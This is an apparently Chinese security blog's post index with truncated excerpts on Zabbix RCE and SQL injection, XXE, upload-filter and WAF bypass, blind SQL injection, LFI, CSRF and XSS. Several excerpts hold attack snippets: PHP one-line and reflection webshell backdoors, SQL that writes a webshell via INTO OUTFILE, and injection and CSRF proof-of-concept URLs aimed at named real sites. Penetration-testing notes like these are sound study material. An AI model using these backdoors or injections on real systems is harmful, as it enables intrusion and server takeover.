serverxx0的博客_Web Security

Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

漏洞来源: https://www.exploit-db.com/exploits/39937/攻击成本：高危害程度：低(此洞需要密码)利用条件: 需要高权限用户登录影响范围：2.2 < 3.0.3tips: 此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。此exp并不是很完美,因为不

Linux

Software

成本

原创 2016-08-18 14:55:21 2983 阅读 1收藏

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

漏洞来源: http://seclists.org/fulldisclosure/2016/Aug/60攻击成本：低危害程度：高利用条件: 需要guest用户权限(未登录用户都被设定为guest用户的访问权限)影响范围：2.2.x / 2.4.x/ 3.0.0-3.0.3修复建议: 禁用guest用户或者升级到3.0.4漏洞利用: 爆密码 &

zabbix

注入漏洞

原创精选 2016-08-18 14:25:52 1738 阅读 1收藏

文件上传之黑名单验证绕过

当做代码的审计或者文件搞渗文章上传的时候有时候会遇到黑名单的验证码,比如常规的一些脚本名asp php jsp这种的不允许上传,下面是我总结的一些绕过的方法Shtml //可以用来读文件 //可以用来执行命令iis解

文章

黑名单

数据流

小数点

原创 2015-09-15 13:47:02 7774 阅读

xxe hacking

漏洞成因: XML 文件的解析依赖 libxml 库，而 libxml 2.9以前的版本默认支持并开启了外部实体的引用，服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体（含外部普通实体和外部参数实体）做合适的处理。影响: 常见的XML解析方法有：DOMDocument、SimpleXML、XMLReader，这三者都基于libxml库

安全技术

原创 2015-09-10 17:30:22 1012 阅读

php后门隐藏技巧

一句话 and 大马 phpspy 菜刀一句话<?php@eval($_POST['cmd']);?>反射后门<?php $func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c]));

技巧

原创 2015-08-25 10:33:02 10000+阅读

Web漏洞检测及修复方案

1. 注入漏洞1.1 SQL注入漏洞1.2 XSS漏洞1.3 命令注入漏洞1.4 HTTP响应头注入漏洞1.5 跳转漏洞1.6 XML注入漏洞2. 信息泄漏漏洞2.1 PHPInfo()信息泄漏漏洞2.2 测试页面泄漏在外网漏洞2.3 备份文件泄漏在外网漏洞2.4 版本管理工具文件信息泄漏漏洞2.5 HTTP认证泄漏漏洞2.6 管理后台泄漏漏洞2.7 泄漏员工电子邮箱漏洞以及分机号码2.8 错误详

安全性

置顶原创 2015-07-22 11:35:10 3257 阅读 2收藏

记一次内网渗透

目标 aspx iis6.0端口只有80漏洞:iis put 使用options提交数据返回put copy 可以判断有iis put问题但是否存在漏洞不能确定,因为这里涉及到几个问题 WebDAV开启 iis没有开启写入权限(不能上传任何文件)WebDAV开启 iis开启写入权限目录没有写入权限(

oracle

数据库

webshell

桂林

学园默示录

原创 2015-06-12 12:36:38 922 阅读

JSON Content-Type XXE攻击

条件: 后端代码是否能解析xml 服务端接收JSON数据请求，将json转换为xml访问，同时修改content-type为xml。Referer: https://blog.netspi.com/playing-content-type-xxe-json-endpoints/ http://www.secpulse.com/archives/6256.ht

服务端

转载精选 2015-05-05 10:57:18 3933 阅读

利用doc文件实现xxe

首先这是一个正常的文档当将这一个doc文档改成zip，再解压后就会发现doc文档就是一堆xml文件组成的在word文件夹里打开document.xml 可以发现doc里的内容都在<w:t></w:t>里构造实体，并在<w:t></w:t>里引用实体来实现xxe实体定义：<!DOCTYPE document [<

文件夹

邮箱

转载精选 2015-04-09 17:39:35 2655 阅读

对某公司一次渗透测试

这是一次内网渗透,为何标题不写内网呢，因为当时搞的时候不知道是内网,搞到一台主机之后才知道是双网卡，有对内的网卡，以为只是一次简单web渗透，所以没必要夸大标题。不会写的太详细,大概记录下流程1、突破口通过内部扫描器没有什么服务器方面漏洞,只有一些信息泄漏，调试信息等，根本对这次的渗透起不到关键的作用，当时看了几天没

webshell

wordpress

突破口

原创 2015-04-04 15:38:49 10000+阅读 1点赞 2收藏 1评论

CSRF 花式绕过Referer技巧

做项目遇到Referer绕过的情况有同事问起这几天不是很忙就把自己知道的方法记录下。有条件限制不一定所有的Refere验证就可以绕过1.Refere为空条件下解决方案: 利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的，如果这个HTML页面向任何http站点提交请求的话

地址栏

javascript

解决方案

原创 2015-02-03 09:41:58 10000+阅读

mysql 3.x拿webshell

mysql 3.x拿webshell先建表字段写入一句话查询导出一句话mysql> use mysqlDatabase changedmysql> Create TABLE demo (sanr text NOT NULL);Query OK, 0 rows affected (0.00 sec)mysql> Insert INTO demo (sanr) VALU

mysql

webshell

Create

原创 2015-01-26 15:18:10 1020 阅读

过滤union select 写webshell

满足条件mysql未降权未关闭file权限gpc关闭LIMIT 0,1 INTO OUTFILE '这里是路径' LINES TERMINATED BY '这里是你想写的内容'--SELECT * FROM `user` where user='root' LIMIT 0,1 INTO OUTFILE 'D:/xxxxx/demo.txt' LINES TERMINATED BY '

mysql

file

webshell

where

原创 2015-01-26 15:11:21 1832 阅读

包含漏洞文件类型白名单验证及判断后缀的解决办法

$include_file 可控，可以上传文件, 上传后缀限制为jpg,gif,png,包含后缀限制必须为.phpallow_url_include=Off (不考虑远程包含)if ( isset( $include_file ) && strtolower( substr( $include_file

上传文件

包含漏洞

原创 2015-01-08 15:59:13 4117 阅读

盲注绕过技巧

http://www.x.com/sections_intr.php?id=181 and length((database()))=4http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),1,1))=122 http://www.x.com/sections_intr.php?

database

技巧

盲注

原创 2015-01-04 15:52:20 1687 阅读

web黑名单验证绕过

window下除了空格小数点可以绕过还可以利用nfs ads数据流来绕过

黑名单

window

数据流

小数点

原创 2014-12-18 13:50:17 1667 阅读

51cto博客 xss一枚

还在添加友情连接处一个地方两个玩法。 51cto添加友情链接标题根据uid来添加。flink是跳转的链接,跳转链接我们可以自定义，并且可以添加事件，没有过滤，从而进行xss攻击。poc:http://laoxu.blog.51cto.com/mod/edit_flink.php?type=addflink&uid=4120547&flink=http:

51cto

xss

原创 2014-08-29 10:29:51 745 阅读 1点赞 1评论

51cto博客存在csrf漏洞

添加友情链接没验证referer token 利用条件: 已登录过51cto 直接在浏览器访问如下POC poc: <img src="http://x007.blog.51cto.com//mod/edit_flink.php?type=addflink&uid=

csrf

51cto

原创 2014-08-29 09:59:13 525 阅读 1评论

51cto任意密码修改(失效了)

这个任意密码修改已经发现一年多的时间了。今天准备演示呢，结果拿出来测试的时候失效了。为何可以任意密码修改,如下 http://ucenter.51cto.com/setpass.php?id=6330498&unid=0a35749ac3f8dc33c307e504448625fe 这个是修改密码的链接存在漏洞时候的unid=0a

用户

md5加密

原创 2014-02-20 17:06:48 704 阅读

getip()漏洞代码(献给那些高傲的程序员)

漏洞代码地址:http://i006.blog.163.com/blog/static/20596514720136511728614/ 前段时间看py的时候 ,去这位朋友的博客，今天去博客的时候看有什么资料更新的时候，看他发了一个获取IP的。因为我自己就是搞web安全的，看到过很多getip的漏洞，并且代码都是网上抄的。果不其然，我去看的时候就发现了这个代码也存

朋友

程序员

博客

资料

网上

原创 2013-07-07 18:20:17 888 阅读 3点赞 9评论

lfi 读取php源码

<?php include['a'] ?>a.com/a.php?a=../0x007.php 如果是这样写的会当作php来执行并不会看到源码。今天我所说的是不让0x007.php执行看到的是0x007.php的源码利用php:filter//来读取php://filter/read=convert.base64-encode/resourc

php源码

lfi

原创 2013-06-12 14:22:10 773 阅读 1点赞

LFI 命令执行

条件:【条件】在allow_url_include = On 且 PHP >= 5.2.0【优势】直接POST php代码并执行【须知】必须使用包含切执行函数(比如 include require) 不能使用file_get_contents等用这些函数不会执行data/input里面函数。【点评】这其实是一种思路而已当allow_url_include打开的时候

lfi tips

原创 2013-06-12 13:57:29 1004 阅读

何为dom based xss

xss分为反射型，存储型,dom based xss 前两者很好理解对于dom based xss有点绕记录下。常见的xss都是客户端输入直接输出在html 假如没过滤存在js代码将会被执行。而dom based xss 它是不一样的。下面用实例讲解<script> function a(){ var str=document.getElem

何为dom based xss

原创 2013-06-07 13:53:18 1137 阅读

httponly防止xss

httponly是干嘛的？ htyponly是防止xss漏洞来偷取你的cookie的。怎么样设置？非常简单。setcookie("test", '没有加httponly',time()+3600*24,"","",0);setcookie("test1",'加了httponly的

xss

httponly

原创 2013-05-26 20:09:15 872 阅读

WAF绕过方法从简单到高级

WAF介绍什么是WAF？Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。基本/简单绕过方法：1、注释符http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….2、使用大小写http://www.site.com/index.php?page_id=-1

WAF绕过方法从简单到高级

转载精选 2013-05-10 20:40:15 827 阅读

mysql注入绕过tips

mysql会正确的承认/*! */之间的代码。当加上版本号,他会执行小于当前版本的语句，大于当前版本的将会错误。比如当前版本是5.5.17，那么它只会执行小于等于50117数字的语句，/*!1234select*/ host from user where user = 'root'; //小于版本成功/*!50517select*/ host from user where use

mysql注入绕过tips

原创 2013-05-10 20:36:54 481 阅读

绕过waf注入

waf过滤了 union select from 等关键词1.列当前库所有表http://jyht.co.uk/career.php?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%

waf

waf注入

原创 2013-03-08 00:45:34 1208 阅读

mysql拒绝攻击

mysql存在注入，并且注入的sleep语句如果传入一个足够大的参数，比如：sleep(9999999999).如果数据库用的是myisam引擎，且注入点是某个会锁表的语句（insert,replace,update,delete），那么整个数据表的访问都会被阻塞。使用该表的所有应用的读库请求都会被阻塞。如果数据库使用的是主从分离的架构，那么Master和Slave的同步会被sleep语句阻塞，导

mysql拒绝攻击

原创 2013-03-06 21:54:25 720 阅读

盲注(时间差、延迟注入)

时间差注入也叫延迟注入，是一种盲注的手法提交对执行时间铭感的函数sql语句，通过执行时间的长短来判断是否执行成功，比如:正确的话会导致时间很长，错误的话会导致执行时间很短，这就是所谓的高级盲注。利用BENCHMARK sleep 函数来注入利用sleep也可以引起拒绝服务

盲注

原创 2013-03-06 21:36:21 1554 阅读

分析网上某人xss入侵

原文：http://weibo.com/1627825392/zbNEZjcL9#1356666273719 看到这个文章，很多人还在那里说好，很有技术含量.很牛B，这个人不去360，必定会犯罪怎么样怎么样，我只想说这个货特么的就是一个装B货，喜欢显摆技术，一个真正搞渗透测试的人不可能把写个文章还不打码，这个文章

xss

原创 2012-12-28 12:13:30 463 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	在线客服	网站地图	意见反馈

开源基础软件社区	51CTO学堂
51CTO	汽车开发者社区

51CTO博客

Sanr

Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

文件上传之黑名单验证绕过

xxe hacking

php后门隐藏技巧

Web漏洞检测及修复方案

记一次内网渗透

JSON Content-Type XXE攻击

利用doc文件实现xxe

对某公司一次渗透测试

CSRF 花式绕过Referer技巧

mysql 3.x拿webshell

过滤union select 写webshell

包含漏洞文件类型白名单验证及判断后缀的解决办法

盲注绕过技巧

web黑名单验证绕过

51cto博客 xss一枚

51cto博客存在csrf漏洞

51cto任意密码修改(失效了)

getip()漏洞代码(献给那些高傲的程序员)

lfi 读取php源码

LFI 命令执行

何为dom based xss

httponly防止xss

WAF绕过方法从简单到高级

mysql注入绕过tips

绕过waf注入

mysql拒绝攻击

盲注(时间差、延迟注入)

分析网上某人xss入侵